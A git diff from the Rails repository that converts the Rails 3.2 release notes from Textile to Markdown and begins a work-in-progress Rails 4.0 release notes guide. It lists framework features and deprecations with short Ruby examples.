```ruby + User.where(:first_name => "Scarlett").first_or_create!(:last_name => "Johansson") + ``` + +* Added a `with_lock` method to Active Record objects, which starts a transaction, locks the object (pessimistically) and yields to the block. The method takes one (optional) parameter and passes it to `lock!`. + + This makes it possible to write the following: + + ```ruby + class Order < ActiveRecord::Base + def cancel! + transaction do + lock! + # ... cancelling logic + end + end + end + ``` + + as: + + ```ruby + class Order < ActiveRecord::Base + def cancel! + with_lock do + # ... cancelling logic + end + end + end + ``` + +### Deprecations + +* Automatic closure of connections in threads is deprecated. For example the following code is deprecated: + + ```ruby + Thread.new { Post.find(1) }.join + ``` + + It should be changed to close the database connection at the end of the thread: + + ```ruby + Thread.new { + Post.find(1) + Post.connection.close + }.join + ``` + + Only people who spawn threads in their application code need to worry about this change. + +* The `set_table_name`, `set_inheritance_column`, `set_sequence_name`, `set_primary_key`, `set_locking_column` methods are deprecated. Use an assignment method instead. For example, instead of `set_table_name`, use `self.table_name=`. + + ```ruby + class Project < ActiveRecord::Base + self.table_name = "project" + end + ``` + + Or define your own `self.table_name` method: + + ```ruby + class Post < ActiveRecord::Base + def self.table_name + "special_" + super + end + end + + Post.table_name # => "special_posts" + + ``` + +Active Model +------------ + +* Add `ActiveModel::Errors#added?` to check if a specific error has been added. + +* Add ability to define strict validations with `strict => true` that always raises exception when fails. + +* Provide mass_assignment_sanitizer as an easy API to replace the sanitizer behavior. Also support both :logger (default) and :strict sanitizer behavior. + +### Deprecations + +* Deprecated `define_attr_method` in `ActiveModel::AttributeMethods` because this only existed to support methods like `set_table_name` in Active Record, which are themselves being deprecated. + +* Deprecated `Model.model_name.partial_path` in favor of `model.to_partial_path`. + +Active Resource +--------------- + +* Redirect responses: 303 See Other and 307 Temporary Redirect now behave like 301 Moved Permanently and 302 Found. + +Active Support +-------------- + +* Added `ActiveSupport:TaggedLogging` that can wrap any standard `Logger` class to provide tagging capabilities. + + ```ruby + Logger = ActiveSupport::TaggedLogging.new(Logger.new(STDOUT)) + + Logger.tagged("BCX") { Logger.info "Stuff" } + # Logs "[BCX] Stuff" + + Logger.tagged("BCX", "Jason") { Logger.info "Stuff" } + # Logs "[BCX] [Jason] Stuff" + + Logger.tagged("BCX") { Logger.tagged("Jason") { Logger.info "Stuff" } } + # Logs "[BCX] [Jason] Stuff" + ``` + +* The `beginning_of_week` method in `Date`, `Time` and `DateTime` accepts an optional argument representing the day in which the week is assumed to start. + +* `ActiveSupport::Notifications.subscribed` provides subscriptions to events while a block runs. + +* Defined new methods `Module#qualified_const_defined?`, `Module#qualified_const_get` and `Module#qualified_const_set` that are analogous to the corresponding methods in the standard API, but accept qualified constant names. + +* Added `#deconstantize` which complements `#demodulize` in inflections. This removes the rightmost segment in a qualified constant name. + +* Added `safe_constantize` that constantizes a string but returns `nil` instead of raising an exception if the constant (or part of it) does not exist. + +* `ActiveSupport::OrderedHash` is now marked as extractable when using `Array#extract_options!`. + +* Added `Array#prepend` as an alias for `Array#unshift` and `Array#append` as an alias for `Array#<<`. + +* The definition of a blank string for Ruby 1.9 has been extended to Unicode whitespace. Also, in Ruby 1.8 the ideographic space U`3000 is considered to be whitespace. + +* The inflector understands acronyms. + +* Added `Time#all_day`, `Time#all_week`, `Time#all_quarter` and `Time#all_year` as a way of generating ranges. + + ```ruby + Event.where(:created_at => Time.now.all_week) + Event.where(:created_at => Time.now.all_day) + ``` + +* Added `instance_accessor: false` as an option to `Class#cattr_accessor` and friends. + +* `ActiveSupport::OrderedHash` now has different behavior for `#each` and `#each_pair` when given a block accepting its parameters with a splat. + +* Added `ActiveSupport::Cache::NullStore` for use in development and testing. + +* Removed `ActiveSupport::SecureRandom` in favor of `SecureRandom` from the standard library. + +### Deprecations + +* `ActiveSupport::Base64` is deprecated in favor of `::Base64`. + +* Deprecated `ActiveSupport::Memoizable` in favor of Ruby memoization pattern. + +* `Module#synchronize` is deprecated with no replacement. Please use monitor from ruby's standard library. + +* Deprecated `ActiveSupport::MessageEncryptor#encrypt` and `ActiveSupport::MessageEncryptor#decrypt`. + +* `ActiveSupport::BufferedLogger#silence` is deprecated. If you want to squelch logs for a certain block, change the log level for that block. + +* `ActiveSupport::BufferedLogger#open_log` is deprecated. This method should not have been public in the first place. + +* `ActiveSupport::BufferedLogger's` behavior of automatically creating the directory for your log file is deprecated. Please make sure to create the directory for your log file before instantiating. + +* `ActiveSupport::BufferedLogger#auto_flushing` is deprecated. Either set the sync level on the underlying file handle like this. Or tune your filesystem. The FS cache is now what controls flushing. + + ```ruby + f = File.open('foo.log', 'w') + f.sync = true + ActiveSupport::BufferedLogger.new f + ``` + +* `ActiveSupport::BufferedLogger#flush` is deprecated. Set sync on your filehandle, or tune your filesystem. + +Credits +------- + +See the [full list of contributors to Rails](http://contributors.rubyonrails.org/) for the many people who spent many hours making Rails, the stable and robust framework it is. Kudos to all of them. + +Rails 3.2 Release Notes were compiled by [Vijay Dev](https://github.com/vijaydev.) diff --git a/guides/source/3_2_release_notes.textile b/guides/source/3_2_release_notes.textile deleted file mode 100644 index 3524ea6595..0000000000 --- a/guides/source/3_2_release_notes.textile +++ /dev/null @@ -1,552 +0,0 @@ -h2. Ruby on Rails 3.2 Release Notes - -Highlights in Rails 3.2: - -* Faster Development Mode -* New Routing Engine -* Automatic Query Explains -* Tagged Logging - -These release notes cover the major changes, but do not include each bug-fix and changes. If you want to see everything, check out the "list of commits":https://github.com/rails/rails/commits/3-2-stable in the main Rails repository on GitHub. - -endprologue. - -h3. Upgrading to Rails 3.2 - -If you're upgrading an existing application, it's a great idea to have good test coverage before going in. You should also first upgrade to Rails 3.1 in case you haven't and make sure your application still runs as expected before attempting an update to Rails 3.2. Then take heed of the following changes: - -h4. Rails 3.2 requires at least Ruby 1.8.7 - -Rails 3.2 requires Ruby 1.8.7 or higher. Support for all of the previous Ruby versions has been dropped officially and you should upgrade as early as possible. Rails 3.2 is also compatible with Ruby 1.9.2. - -TIP: Note that Ruby 1.8.7 p248 and p249 have marshaling bugs that crash Rails. Ruby Enterprise Edition has these fixed since the release of 1.8.7-2010.02. On the 1.9 front, Ruby 1.9.1 is not usable because it outright segfaults, so if you want to use 1.9.x, jump on to 1.9.2 or 1.9.3 for smooth sailing. - -h4. What to update in your apps - -* Update your Gemfile to depend on -** <tt>rails = 3.2.0</tt> -** <tt>sass-rails ~> 3.2.3</tt> -** <tt>coffee-rails ~> 3.2.1</tt> -** <tt>uglifier >= 1.0.3</tt> - -* Rails 3.2 deprecates <tt>vendor/plugins</tt> and Rails 4.0 will remove them completely. You can start replacing these plugins by extracting them as gems and adding them in your Gemfile. If you choose not to make them gems, you can move them into, say, <tt>lib/my_plugin/*</tt> and add an appropriate initializer in <tt>config/initializers/my_plugin.rb</tt>. - -* There are a couple of new configuration changes you'd want to add in <tt>config/environments/development.rb</tt>: - -<ruby> -# Raise exception on mass assignment protection for Active Record models -config.active_record.mass_assignment_sanitizer = :strict - -# Log the query plan for queries taking more than this (works -# with SQLite, MySQL, and PostgreSQL) -config.active_record.auto_explain_threshold_in_seconds = 0.5 -</ruby> - -The <tt>mass_assignment_sanitizer</tt> config also needs to be added in <tt>config/environments/test.rb</tt>: - -<ruby> -# Raise exception on mass assignment protection for Active Record models -config.active_record.mass_assignment_sanitizer = :strict -</ruby> - -h4. What to update in your engines - -Replace the code beneath the comment in <tt>script/rails</tt> with the following content: - -<ruby> -ENGINE_ROOT = File.expand_path('../..', __FILE__) -ENGINE_PATH = File.expand_path('../../lib/your_engine_name/engine', __FILE__) - -require 'rails/all' -require 'rails/engine/commands' -</ruby> - -h3. Creating a Rails 3.2 application - -<shell> -# You should have the 'rails' rubygem installed -$ rails new myapp -$ cd myapp -</shell> - -h4. Vendoring Gems - -Rails now uses a +Gemfile+ in the application root to determine the gems you require for your application to start. This +Gemfile+ is processed by the "Bundler":https://github.com/carlhuda/bundler gem, which then installs all your dependencies. It can even install all the dependencies locally to your application so that it doesn't depend on the system gems. - -More information: "Bundler homepage":http://gembundler.com - -h4. Living on the Edge - -+Bundler+ and +Gemfile+ makes freezing your Rails application easy as pie with the new dedicated +bundle+ command. If you want to bundle straight from the Git repository, you can pass the +--edge+ flag: - -<shell> -$ rails new myapp --edge -</shell> - -If you have a local checkout of the Rails repository and want to generate an application using that, you can pass the +--dev+ flag: - -<shell> -$ ruby /path/to/rails/railties/bin/rails new myapp --dev -</shell> - -h3. Major Features - -h4. Faster Development Mode & Routing - -Rails 3.2 comes with a development mode that's noticeably faster. Inspired by "Active Reload":https://github.com/paneq/active_reload, Rails reloads classes only when files actually change. The performance gains are dramatic on a larger application. Route recognition also got a bunch faster thanks to the new "Journey":https://github.com/rails/journey engine. - -h4. Automatic Query Explains - -Rails 3.2 comes with a nice feature that explains queries generated by ARel by defining an +explain+ method in <tt>ActiveRecord::Relation</tt>. For example, you can run something like <tt>puts Person.active.limit(5).explain</tt> and the query ARel produces is explained. This allows to check for the proper indexes and further optimizations. - -Queries that take more than half a second to run are *automatically* explained in the development mode. This threshold, of course, can be changed. - -h4. Tagged Logging - -When running a multi-user, multi-account application, it's a great help to be able to filter the log by who did what. TaggedLogging in Active Support helps in doing exactly that by stamping log lines with subdomains, request ids, and anything else to aid debugging such applications. - -h3. Documentation - -From Rails 3.2, the Rails guides are available for the Kindle and free Kindle Reading Apps for the iPad, iPhone, Mac, Android, etc. - -h3. Railties - -* Speed up development by only reloading classes if dependencies files changed. This can be turned off by setting <tt>config.reload_classes_only_on_change</tt> to false. - -* New applications get a flag <tt>config.active_record.auto_explain_threshold_in_seconds</tt> in the environments configuration files. With a value of <tt>0.5</tt> in <tt>development.rb</tt> and commented out in <tt>production.rb</tt>. No mention in <tt>test.rb</tt>. - -* Added <tt>config.exceptions_app</tt> to set the exceptions application invoked by the +ShowException+ middleware when an exception happens. Defaults to <tt>ActionDispatch::PublicExceptions.new(Rails.public_path)</tt>. - -* Added a <tt>DebugExceptions</tt> middleware which contains features extracted from <tt>ShowExceptions</tt> middleware. - -* Display mounted engines' routes in <tt>rake routes</tt>. - -* Allow to change the loading order of railties with <tt>config.railties_order</tt> like: - -<ruby> -config.railties_order = [Blog::Engine, :main_app, :all] -</ruby> - -* Scaffold returns 204 No Content for API requests without content. This makes scaffold work with jQuery out of the box. - -* Update <tt>Rails::Rack::Logger</tt> middleware to apply any tags set in <tt>config.log_tags</tt> to <tt>ActiveSupport::TaggedLogging</tt>. This makes it easy to tag log lines with debug information like subdomain and request id -- both very helpful in debugging multi-user production applications. - -* Default options to +rails new+ can be set in <tt>~/.railsrc</tt>. You can specify extra command-line arguments to be used every time 'rails new' runs in the <tt>.railsrc</tt> configuration file in your home directory. - -* Add an alias +d+ for +destroy+. This works for engines too. - -* Attributes on scaffold and model generators default to string. This allows the following: <tt>rails g scaffold Post title body:text author</tt> - -* Allow scaffold/model/migration generators to accept "index" and "uniq" modifiers. For example, - -<ruby> -rails g scaffold Post title:string:index author:uniq price:decimal{7,2} -</ruby> - -will create indexes for +title+ and +author+ with the latter being an unique index. Some types such as decimal accept custom options. In the example, +price+ will be a decimal column with precision and scale set to 7 and 2 respectively. - -* Turn gem has been removed from default Gemfile. - -* Remove old plugin generator +rails generate plugin+ in favor of +rails plugin new+ command. - -* Remove old <tt>config.paths.app.controller</tt> API in favor of <tt>config.paths["app/controller"]</tt>. - -h4(#railties_deprecations). Deprecations - -* +Rails::Plugin+ is deprecated and will be removed in Rails 4.0. Instead of adding plugins to +vendor/plugins+ use gems or bundler with path or git dependencies. - -h3. Action Mailer - -* Upgraded <tt>mail</tt> version to 2.4.0. - -* Removed the old Action Mailer API which was deprecated since Rails 3.0. - -h3. Action Pack - -h4. Action Controller - -* Make <tt>ActiveSupport::Benchmarkable</tt> a default module for <tt>ActionController::Base,</tt> so the <tt>#benchmark</tt> method is once again available in the controller context like it used to be. - -* Added +:gzip+ option to +caches_page+. The default option can be configured globally using <tt>page_cache_compression</tt>. - -* Rails will now use your default layout (such as "layouts/application") when you specify a layout with <tt>:only</tt> and <tt>:except</tt> condition, and those conditions fail. - -<ruby> -class CarsController - layout 'single_car', :only => :show -end -</ruby> - -Rails will use 'layouts/single_car' when a request comes in :show action, and use 'layouts/application' (or 'layouts/cars', if exists) when a request comes in for any other actions. - -* form_for is changed to use "#{action}_#{as}" as the css class and id if +:as+ option is provided. Earlier versions used "#{as}_#{action}". - -* <tt>ActionController::ParamsWrapper</tt> on ActiveRecord models now only wrap <tt>attr_accessible</tt> attributes if they were set. If not, only the attributes returned by the class method +attribute_names+ will be wrapped. This fixes the wrapping of nested attributes by adding them to +attr_accessible+. - -* Log "Filter chain halted as CALLBACKNAME rendered or redirected" every time a before callback halts. - -* <tt>ActionDispatch::ShowExceptions</tt> is refactored. The controller is responsible for choosing to show exceptions. It's possible to override +show_detailed_exceptions?+ in controllers to specify which requests should provide debugging information on errors. - -* Responders now return 204 No Content for API requests without a response body (as in the new scaffold). - -* <tt>ActionController::TestCase</tt> cookies is refactored. Assigning cookies for test cases should now use <tt>cookies[]</tt> - -<ruby> -cookies[:email] = 'user@example.com' -get :index -assert_equal 'user@example.com', cookies[:email] -</ruby> - -To clear the cookies, use +clear+. - -<ruby> -cookies.clear -get :index -assert_nil cookies[:email] -</ruby> - -We now no longer write out HTTP_COOKIE and the cookie jar is persistent between requests so if you need to manipulate the environment for your test you need to do it before the cookie jar is created. - -* <tt>send_file</tt> now guesses the MIME type from the file extension if +:type+ is not provided. - -* MIME type entries for PDF, ZIP and other formats were added. - -* Allow fresh_when/stale? to take a record instead of an options hash. - -* Changed log level of warning for missing CSRF token from <tt>:debug</tt> to <tt>:warn</tt>. - -* Assets should use the request protocol by default or default to relative if no request is available. - -h5(#actioncontroller_deprecations). Deprecations - -* Deprecated implied layout lookup in controllers whose parent had a explicit layout set: - -<ruby> -class ApplicationController - layout "application" -end - -class PostsController < ApplicationController -end -</ruby> - -In the example above, Posts controller will no longer automatically look up for a posts layout. If you need this functionality you could either remove <tt>layout "application"</tt> from +ApplicationController+ or explicitly set it to +nil+ in +PostsController+. - -* Deprecated <tt>ActionController::UnknownAction</tt> in favour of <tt>AbstractController::ActionNotFound</tt>. - -* Deprecated <tt>ActionController::DoubleRenderError</tt> in favour of <tt>AbstractController::DoubleRenderError</tt>. - -* Deprecated <tt>method_missing</tt> in favour of +action_missing+ for missing actions. - -* Deprecated <tt>ActionController#rescue_action</tt>, <tt>ActionController#initialize_template_class</tt> and <tt>ActionController#assign_shortcuts</tt>. - -h4. Action Dispatch - -* Add <tt>config.action_dispatch.default_charset</tt> to configure default charset for <tt>ActionDispatch::Response</tt>. - -* Added <tt>ActionDispatch::RequestId</tt> middleware that'll make a unique X-Request-Id header available to the response and enables the <tt>ActionDispatch::Request#uuid</tt> method. This makes it easy to trace requests from end-to-end in the stack and to identify individual requests in mixed logs like Syslog. - -* The <tt>ShowExceptions</tt> middleware now accepts a exceptions application that is responsible to render an exception when the application fails. The application is invoked with a copy of the exception in +env["action_dispatch.exception"]+ and with the <tt>PATH_INFO</tt> rewritten to the status code. - -* Allow rescue responses to be configured through a railtie as in <tt>config.action_dispatch.rescue_responses</tt>. - -h5(#actiondispatch_deprecations). Deprecations - -* Deprecated the ability to set a default charset at the controller level, use the new <tt>config.action_dispatch.default_charset</tt> instead. - -h4. Action View - -* Add +button_tag+ support to <tt>ActionView::Helpers::FormBuilder</tt>. This support mimics the default behavior of +submit_tag+. - -<ruby> -<%= form_for @post do |f| %> - <%= f.button %> -<% end %> -</ruby> - -* Date helpers accept a new option <tt>:use_two_digit_numbers => true</tt>, that renders select boxes for months and days with a leading zero without changing the respective values. For example, this is useful for displaying ISO 8601-style dates such as '2011-08-01'. - -* You can provide a namespace for your form to ensure uniqueness of id attributes on form elements. The namespace attribute will be prefixed with underscore on the generated HTML id. - -<ruby> -<%= form_for(@offer, :namespace => 'namespace') do |f| %> - <%= f.label :version, 'Version' %>: - <%= f.text_field :version %> -<% end %> -</ruby> - -* Limit the number of options for +select_year+ to 1000. Pass +:max_years_allowed+ option to set your own limit. - -* +content_tag_for+ and +div_for+ can now take a collection of records. It will also yield the record as the first argument if you set a receiving argument in your block. So instead of having to do this: - -<ruby> -@items.each do |item| - content_tag_for(:li, item) do - Title: <%= item.title %> - end -end -</ruby> - -You can do this: - -<ruby> -content_tag_for(:li, @items) do |item| - Title: <%= item.title %> -end -</ruby> - -* Added +font_path+ helper method that computes the path to a font asset in <tt>public/fonts</tt>. - -h5(#actionview_deprecations). Deprecations - -* Passing formats or handlers to render :template and friends like <tt>render :template => "foo.html.erb"</tt> is deprecated. Instead, you can provide :handlers and :formats directly as options: <tt> render :template => "foo", :formats => [:html, :js], :handlers => :erb</tt>. - -h4. Sprockets - -* Adds a configuration option <tt>config.assets.logger</tt> to control Sprockets logging. Set it to +false+ to turn off logging and to +nil+ to default to +Rails.logger+. - -h3. Active Record - -* Boolean columns with 'on' and 'ON' values are type cast to true. - -* When the +timestamps+ method creates the +created_at+ and +updated_at+ columns, it makes them non-nullable by default. - -* Implemented <tt>ActiveRecord::Relation#explain</tt>. - -* Implements <tt>AR::Base.silence_auto_explain</tt> which allows the user to selectively disable automatic EXPLAINs within a block. - -* Implements automatic EXPLAIN logging for slow queries. A new configuration parameter +config.active_record.auto_explain_threshold_in_seconds+ determines what's to be considered a slow query. Setting that to nil disables this feature. Defaults are 0.5 in development mode, and nil in test and production modes. Rails 3.2 supports this feature in SQLite, MySQL (mysql2 adapter), and PostgreSQL. - -* Added <tt>ActiveRecord::Base.store</tt> for declaring simple single-column key/value stores. - -<ruby> -class User < ActiveRecord::Base - store :settings, accessors: [ :color, :homepage ] -end - -u = User.new(color: 'black', homepage: '37signals.com') -u.color # Accessor stored attribute -u.settings[:country] = 'Denmark' # Any attribute, even if not specified with an accessor -</ruby> - -* Added ability to run migrations only for a given scope, which allows to run migrations only from one engine (for example to revert changes from an engine that need to be removed). - -<ruby> -rake db:migrate SCOPE=blog -</ruby> - -* Migrations copied from engines are now scoped with engine's name, for example <tt>01_create_posts.blog.rb</tt>. - -* Implemented <tt>ActiveRecord::Relation#pluck</tt> method that returns an array of column values directly from the underlying table. This also works with serialized attributes. - -<ruby> -Client.where(:active => true).pluck(:id) -# SELECT id from clients where active = 1 -</ruby> - -* Generated association methods are created within a separate module to allow overriding and composition. For a class named MyModel, the module is named <tt>MyModel::GeneratedFeatureMethods</tt>. It is included into the model class immediately after the +generated_attributes_methods+ module defined in Active Model, so association methods override attribute methods of the same name. - -* Add <tt>ActiveRecord::Relation#uniq</tt> for generating unique queries. - -<ruby> -Client.select('DISTINCT name') -</ruby> - -..can be written as: - -<ruby> -Client.select(:name).uniq -</ruby> - -This also allows you to revert the uniqueness in a relation: - -<ruby> -Client.select(:name).uniq.uniq(false) -</ruby> - -* Support index sort order in SQLite, MySQL and PostgreSQL adapters. - -* Allow the +:class_name+ option for associations to take a symbol in addition to a string. This is to avoid confusing newbies, and to be consistent with the fact that other options like :foreign_key already allow a symbol or a string. - -<ruby> -has_many :clients, :class_name => :Client # Note that the symbol need to be capitalized -</ruby> - -* In development mode, <tt>db:drop</tt> also drops the test database in order to be symmetric with <tt>db:create</tt>. - -* Case-insensitive uniqueness validation avoids calling LOWER in MySQL when the column already uses a case-insensitive collation. - -* Transactional fixtures enlist all active database connections. You can test models on different connections without disabling transactional fixtures. - -* Add +first_or_create+, +first_or_create!+, +first_or_initialize+ methods to Active Record. This is a better approach over the old +find_or_create_by+ dynamic methods because it's clearer which arguments are used to find the record and which are used to create it. - -<ruby> -User.where(:first_name => "Scarlett").first_or_create!(:last_name => "Johansson") -</ruby> - -* Added a <tt>with_lock</tt> method to Active Record objects, which starts a transaction, locks the object (pessimistically) and yields to the block. The method takes one (optional) parameter and passes it to +lock!+. - -This makes it possible to write the following: - -<ruby> -class Order < ActiveRecord::Base - def cancel! - transaction do - lock! - # ... cancelling logic - end - end -end -</ruby> - -as: - -<ruby> -class Order < ActiveRecord::Base - def cancel! - with_lock do - # ... cancelling logic - end - end -end -</ruby> - -h4(#activerecord_deprecations). Deprecations - -* Automatic closure of connections in threads is deprecated. For example the following code is deprecated: - -<ruby> -Thread.new { Post.find(1) }.join -</ruby> - -It should be changed to close the database connection at the end of the thread: - -<ruby> -Thread.new { - Post.find(1) - Post.connection.close -}.join -</ruby> - -Only people who spawn threads in their application code need to worry about this change. - -* The +set_table_name+, +set_inheritance_column+, +set_sequence_name+, +set_primary_key+, +set_locking_column+ methods are deprecated. Use an assignment method instead. For example, instead of +set_table_name+, use <tt>self.table_name=</tt>. - -<ruby> -class Project < ActiveRecord::Base - self.table_name = "project" -end -</ruby> - -Or define your own <tt>self.table_name</tt> method: - -<ruby> -class Post < ActiveRecord::Base - def self.table_name - "special_" + super - end -end - -Post.table_name # => "special_posts" - -</ruby> - -h3. Active Model - -* Add <tt>ActiveModel::Errors#added?</tt> to check if a specific error has been added. - -* Add ability to define strict validations with <tt>strict => true</tt> that always raises exception when fails. - -* Provide mass_assignment_sanitizer as an easy API to replace the sanitizer behavior. Also support both :logger (default) and :strict sanitizer behavior. - -h4(#activemodel_deprecations). Deprecations - -* Deprecated <tt>define_attr_method</tt> in <tt>ActiveModel::AttributeMethods</tt> because this only existed to support methods like +set_table_name+ in Active Record, which are themselves being deprecated. - -* Deprecated <tt>Model.model_name.partial_path</tt> in favor of <tt>model.to_partial_path</tt>. - -h3. Active Resource - -* Redirect responses: 303 See Other and 307 Temporary Redirect now behave like 301 Moved Permanently and 302 Found. - -h3. Active Support - -* Added <tt>ActiveSupport:TaggedLogging</tt> that can wrap any standard +Logger+ class to provide tagging capabilities. - -<ruby> -Logger = ActiveSupport::TaggedLogging.new(Logger.new(STDOUT)) - -Logger.tagged("BCX") { Logger.info "Stuff" } -# Logs "[BCX] Stuff" - -Logger.tagged("BCX", "Jason") { Logger.info "Stuff" } -# Logs "[BCX] [Jason] Stuff" - -Logger.tagged("BCX") { Logger.tagged("Jason") { Logger.info "Stuff" } } -# Logs "[BCX] [Jason] Stuff" -</ruby> - -* The +beginning_of_week+ method in +Date+, +Time+ and +DateTime+ accepts an optional argument representing the day in which the week is assumed to start. - -* <tt>ActiveSupport::Notifications.subscribed</tt> provides subscriptions to events while a block runs. - -* Defined new methods <tt>Module#qualified_const_defined?</tt>, <tt>Module#qualified_const_get</tt> and <tt>Module#qualified_const_set</tt> that are analogous to the corresponding methods in the standard API, but accept qualified constant names. - -* Added +#deconstantize+ which complements +#demodulize+ in inflections. This removes the rightmost segment in a qualified constant name. - -* Added <tt>safe_constantize</tt> that constantizes a string but returns +nil+ instead of raising an exception if the constant (or part of it) does not exist. - -* <tt>ActiveSupport::OrderedHash</tt> is now marked as extractable when using <tt>Array#extract_options!</tt>. - -* Added <tt>Array#prepend</tt> as an alias for <tt>Array#unshift</tt> and <tt>Array#append</tt> as an alias for <tt>Array#<<</tt>. - -* The definition of a blank string for Ruby 1.9 has been extended to Unicode whitespace. Also, in Ruby 1.8 the ideographic space U+3000 is considered to be whitespace. - -* The inflector understands acronyms. - -* Added <tt>Time#all_day</tt>, <tt>Time#all_week</tt>, <tt>Time#all_quarter</tt> and <tt>Time#all_year</tt> as a way of generating ranges. - -<ruby> -Event.where(:created_at => Time.now.all_week) -Event.where(:created_at => Time.now.all_day) -</ruby> - -* Added <tt>instance_accessor: false</tt> as an option to <tt>Class#cattr_accessor</tt> and friends. - -* <tt>ActiveSupport::OrderedHash</tt> now has different behavior for <tt>#each</tt> and <tt>#each_pair</tt> when given a block accepting its parameters with a splat. - -* Added <tt>ActiveSupport::Cache::NullStore</tt> for use in development and testing. - -* Removed <tt>ActiveSupport::SecureRandom</tt> in favor of <tt>SecureRandom</tt> from the standard library. - -h4(#activesupport_deprecations). Deprecations - -* +ActiveSupport::Base64+ is deprecated in favor of <tt>::Base64</tt>. - -* Deprecated <tt>ActiveSupport::Memoizable</tt> in favor of Ruby memoization pattern. - -* <tt>Module#synchronize</tt> is deprecated with no replacement. Please use monitor from ruby's standard library. - -* Deprecated <tt>ActiveSupport::MessageEncryptor#encrypt</tt> and <tt>ActiveSupport::MessageEncryptor#decrypt</tt>. - -* <tt>ActiveSupport::BufferedLogger#silence</tt> is deprecated. If you want to squelch logs for a certain block, change the log level for that block. - -* <tt>ActiveSupport::BufferedLogger#open_log</tt> is deprecated. This method should not have been public in the first place. - -* <tt>ActiveSupport::BufferedLogger's</tt> behavior of automatically creating the directory for your log file is deprecated. Please make sure to create the directory for your log file before instantiating. - -* <tt>ActiveSupport::BufferedLogger#auto_flushing</tt> is deprecated. Either set the sync level on the underlying file handle like this. Or tune your filesystem. The FS cache is now what controls flushing. - -<ruby> -f = File.open('foo.log', 'w') -f.sync = true -ActiveSupport::BufferedLogger.new f -</ruby> - -* <tt>ActiveSupport::BufferedLogger#flush</tt> is deprecated. Set sync on your filehandle, or tune your filesystem. - -h3. Credits - -See the "full list of contributors to Rails":http://contributors.rubyonrails.org/ for the many people who spent many hours making Rails, the stable and robust framework it is. Kudos to all of them. - -Rails 3.2 Release Notes were compiled by "Vijay Dev":https://github.com/vijaydev. diff --git a/guides/source/4_0_release_notes.md b/guides/source/4_0_release_notes.md new file mode 100644 index 0000000000..52091289c9 --- /dev/null +++ b/guides/source/4_0_release_notes.md @@ -0,0 +1,875 @@ +Ruby on Rails 4.0 Release Notes +=============================== + +Highlights in Rails 4.0: + +These release notes cover the major changes, but do not include each bug-fix and changes. If you want to see everything, check out the [list of commits](https://github.com/rails/rails/commits/master) in the main Rails repository on GitHub. + +-------------------------------------------------------------------------------- + +Upgrading to Rails 4.0 +---------------------- + +TODO. This is a WIP guide. + + +If you're upgrading an existing application, it's a great idea to have good test coverage before going in. You should also first upgrade to Rails 3.2 in case you haven't and make sure your application still runs as expected before attempting an update to Rails 4.0. Then take heed of the following changes: + +### Rails 4.0 requires at least Ruby 1.9.3 + +Rails 4.0 requires Ruby 1.9.3 or higher. Support for all of the previous Ruby versions has been dropped officially and you should upgrade as early as possible. + +### What to update in your apps + +* Update your Gemfile to depend on + * `rails = 4.0.0` + * `sass-rails ~> 3.2.3` + * `coffee-rails ~> 3.2.1` + * `uglifier >= 1.0.3` + +TODO: Update the versions above. + + +* Rails 4.0 removes `vendor/plugins` completely. You have to replace these plugins by extracting them as gems and adding them in your Gemfile. If you choose not to make them gems, you can move them into, say, `lib/my_plugin/*` and add an appropriate initializer in `config/initializers/my_plugin.rb`. + +TODO: Configuration changes in environment files + +Creating a Rails 4.0 application +-------------------------------- + +``` + You should have the 'rails' rubygem installed +$ rails new myapp +$ cd myapp +``` + +### Vendoring Gems + +Rails now uses a `Gemfile` in the application root to determine the gems you require for your application to start. This `Gemfile` is processed by the [Bundler](https://github.com/carlhuda/bundler) gem, which then installs all your dependencies. It can even install all the dependencies locally to your application so that it doesn't depend on the system gems. + +More information: [Bundler homepage](http://gembundler.com) + +### Living on the Edge + +`Bundler` and `Gemfile` makes freezing your Rails application easy as pie with the new dedicated `bundle` command. If you want to bundle straight from the Git repository, you can pass the `--edge` flag: + +``` +$ rails new myapp --edge +``` + +If you have a local checkout of the Rails repository and want to generate an application using that, you can pass the `--dev` flag: + +``` +$ ruby /path/to/rails/railties/bin/rails new myapp --dev +``` + +Major Features +-------------- + +Documentation +------------- + +Railties +-------- + +* Allow scaffold/model/migration generators to accept a `polymorphic` modifier for `references`/`belongs_to`, for instance + + ``` + rails g model Product supplier:references{polymorphic} + ``` + + will generate the model with `belongs_to :supplier, polymorphic: true` association and appropriate migration. + +* Set `config.active_record.migration_error` to `:page_load` for development. + +* Add runner to `Rails::Railtie` as a hook called just after runner starts. + +* Add `/rails/info/routes` path which displays the same information as `rake routes`. + +* Improved `rake routes` output for redirects. + +* Load all environments available in `config.paths["config/environments"]`. + +* Add `config.queue_consumer` to allow the default consumer to be configurable. + +* Add `Rails.queue` as an interface with a default implementation that consumes jobs in a separate thread. + +* Remove `Rack::SSL` in favour of `ActionDispatch::SSL`. + +* Allow to set class that will be used to run as a console, other than IRB, with `Rails.application.config.console=`. It's best to add it to console block. + + ```ruby + # it can be added to config/application.rb + console do + # this block is called only when running console, + # so we can safely require pry here + require "pry" + config.console = Pry + end + ``` + +* Add a convenience method `hide!` to Rails generators to hide the current generator namespace from showing when running `rails generate`. + +* Scaffold now uses `content_tag_for` in `index.html.erb`. + +* `Rails::Plugin` is removed. Instead of adding plugins to `vendor/plugins`, use gems or bundler with path or git dependencies. + +### Deprecations + +Action Mailer +------------- + +* Allow to set default Action Mailer options via `config.action_mailer.default_options=`. + +* Raise an `ActionView::MissingTemplate` exception when no implicit template could be found. + +* Asynchronously send messages via the Rails Queue. + +* Delivery Options (such as SMTP Settings) can now be set dynamically per mailer action. + + Delivery options are set via <tt>:delivery_method_options</tt> key on mail. + + ```ruby + def welcome_mailer(user,company) + mail to: user.email, + subject: "Welcome!", + delivery_method_options: {user_name: company.smtp_user, + password: company.smtp_password, + address: company.smtp_server} + end + ``` + +Action Pack +----------- + +### Action Controller + +* Add `ActionController::Flash.add_flash_types` method to allow people to register their own flash types. e.g.: + + ```ruby + class ApplicationController + add_flash_types :error, :warning + end + ``` + + If you add the above code, you can use `<%= error %>` in an erb, and `redirect_to /foo, :error => 'message'` in a controller. + +* Remove Active Model dependency from Action Pack. + +* Support unicode characters in routes. Route will be automatically escaped, so instead of manually escaping: + + ```ruby + get Rack::Utils.escape('こんにちは') => 'home#index' + ``` + + You just have to write the unicode route: + + ```ruby + get 'こんにちは' => 'home#index' + ``` + +* Return proper format on exceptions. + +* Extracted redirect logic from `ActionController::ForceSSL::ClassMethods.force_ssl` into `ActionController::ForceSSL#force_ssl_redirect`. + +* URL path parameters with invalid encoding now raise `ActionController::BadRequest`. + +* Malformed query and request parameter hashes now raise `ActionController::BadRequest`. + +* 